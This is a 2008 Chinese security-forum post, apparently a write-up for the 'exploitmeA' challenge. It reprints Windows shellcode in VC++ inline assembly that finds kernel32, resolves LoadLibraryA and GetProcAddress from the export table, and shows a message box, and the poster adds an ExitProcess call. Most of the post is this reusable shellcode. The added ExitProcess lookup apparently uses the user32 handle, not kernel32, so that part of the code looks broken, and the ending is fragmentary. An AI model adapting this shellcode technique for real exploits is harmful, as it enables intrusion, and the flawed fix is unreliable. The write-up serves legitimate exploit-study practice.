-
-
[原创]shellcode之小小琢磨
-
发表于:
2008-2-27 20:53
10058
-
【文章标题】: shellcode之小小琢磨
【文章作者】: 安摧
【作者邮箱】: at20042004@163.com
【作者QQ号】: 365188572
【软件名称】: exploitmeA
【下载地址】: pediy
【编写语言】: vc++
【使用工具】: OD,VC98
【操作平台】: winXP
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
本文没有什么东西,只是我在研究exploitme时候的一点心得。文章内容其实很少,所以冠名“小小琢磨”。
高手大致可以飘过。
但是我还是要邀请combojiang大侠阅读一下本文;因为本文是对阁下的文章的改进。
失误之处敬请诸位大侠赐教!
呵呵!!!
昨天在研究看雪exploit me挑战赛中的exploitmeA例子的时候,仔细阅读了一下combojiang的答案。
文章见:http://bbs.pediy.com/showthread.php?t=57558
combojiang的shellcode确实不凡,包括查找kernel32.dll的位置,查找GetProcAddress和MessageBoxA函数的地址,加密解密shellcode.
但是有一个问题,shellcode最终不能使得程序安静的退出!
在文章中,作者构建shellcode的代码如下:
void ShellcodeFunc()
{
unsigned int uLoadLibrary,uGetProcAddress,uKernelBase,uLibHandle;
unsigned int ImageBase,flen;
char *FuncName;
__asm
{
/////////////////////////// // shellcode开始标记,方便截取shellcode,这里没启用
//signature of ShellcodeStart
// _emit 'S'
// _emit 'h'
// _emit 'e'
// _emit 'l'
// _emit 'l'
// _emit 'c'
// _emit 'o'
// _emit 'd'
// _emit 'e'
// _emit 'S'
// _emit 't'
// _emit 'a'
// _emit 'r'
// _emit 't' ////////////////////////////
jmp Start
GetFunc:
mov eax,ImageBase
mov eax,[eax+0x3c]
add eax,ImageBase
mov eax,[eax+0x78]
add eax,ImageBase
mov esi,eax
mov ecx,[eax+0x18]
mov eax,[eax+0x20]
add eax,ImageBase
mov ebx,eax
xor edx,edx
FindLoop:
push ecx
push esi
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen
cld
rep cmpsb
pop esi
je Found
inc edx
add ebx,4
mov eax,ebx
pop ecx
loop FindLoop
Found:
add esp,4
mov eax,esi
mov eax,[eax+0x1c]
add eax,ImageBase
shl edx,2
add eax,edx
mov eax,[eax]
add eax,ImageBase
jmp Founded
xor eax,eax
Founded:
ret
}
__asm
{
Start:
push esi
push ecx
xor eax, eax
xor esi, esi
mov esi, fs:[esi + 0x18]
mov eax, [esi+4]
mov eax, [eax - 0x1c]
find_kernel32_base:
dec eax
xor ax, ax
cmp word ptr [eax], 0x5a4d
jne find_kernel32_base
pop ecx
pop esi
mov uKernelBase,eax
mov ImageBase,eax
mov flen,0x0c
call LL1
_emit 'L'
_emit 'o'
_emit 'a'
_emit 'd'
_emit 'L'
_emit 'i'
_emit 'b'
_emit 'r'
_emit 'a'
_emit 'r'
_emit 'y'
_emit 'A'
_emit 0
LL1:
pop eax
mov FuncName,eax
call GetFunc
mov uLoadLibrary,eax
mov flen,0x0E
call LL2
_emit 'G'
_emit 'e'
_emit 't'
_emit 'P'
_emit 'r'
_emit 'o'
_emit 'c'
_emit 'A'
_emit 'd'
_emit 'd'
_emit 'r'
_emit 'e'
_emit 's'
_emit 's'
_emit 0
LL2:
pop eax
mov FuncName,eax
call GetFunc
mov uGetProcAddress,eax
call l1
_emit 'u'
_emit 's'
_emit 'e'
_emit 'r'
_emit '3'
_emit '2'
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0
l1:
call uLoadLibrary
mov uLibHandle,eax
call l2
_emit 'M'
_emit 'e'
_emit 's'
_emit 's'
_emit 'a'
_emit 'g'
_emit 'e'
_emit 'B'
_emit 'o'
_emit 'x'
_emit 'A'
_emit 0
l2:
push uLibHandle
call uGetProcAddress
push MB_OK | MB_ICONINFORMATION
call l3
_emit 'C'
_emit 'T'
_emit 'S'
_emit 0
l3:
call l4
_emit 'A'
_emit 'n'
_emit 'C'
_emit 'u'
_emit 'i'
_emit 0
l4:
push NULL
call eax
call l5 //我添加的安静退出程序的代码 ①开始
_emit 'E' //调用ExitProcess
_emit 'x'
_emit 'i'
_emit 't'
_emit 'P'
_emit 'r'
_emit 'o'
_emit 'c'
_emit 'e'
_emit 's'
_emit 's'
_emit 0
l5:
push uLibHandle
call uGetProcAddress
push NULL
call eax //①结束
/////////////////////////// //shellcode结束标记,方便截取shellcode
//signature of ShellcodeEnd
_emit 'S'
_emit 'h'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'c'
_emit 'o'
_emit 'd'
_emit 'e'
_emit 'E'
_emit 'n'
_emit 'd'
//////////////////////////////
}
}
mov eax,00402005h
jmp eax
00402005 call dword ptr [<&KERNEL32.ExitProces kernel32.ExitProcess
00402148 call dword ptr [<&KERNEL32.ExitProces kernel32.ExitProcess
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课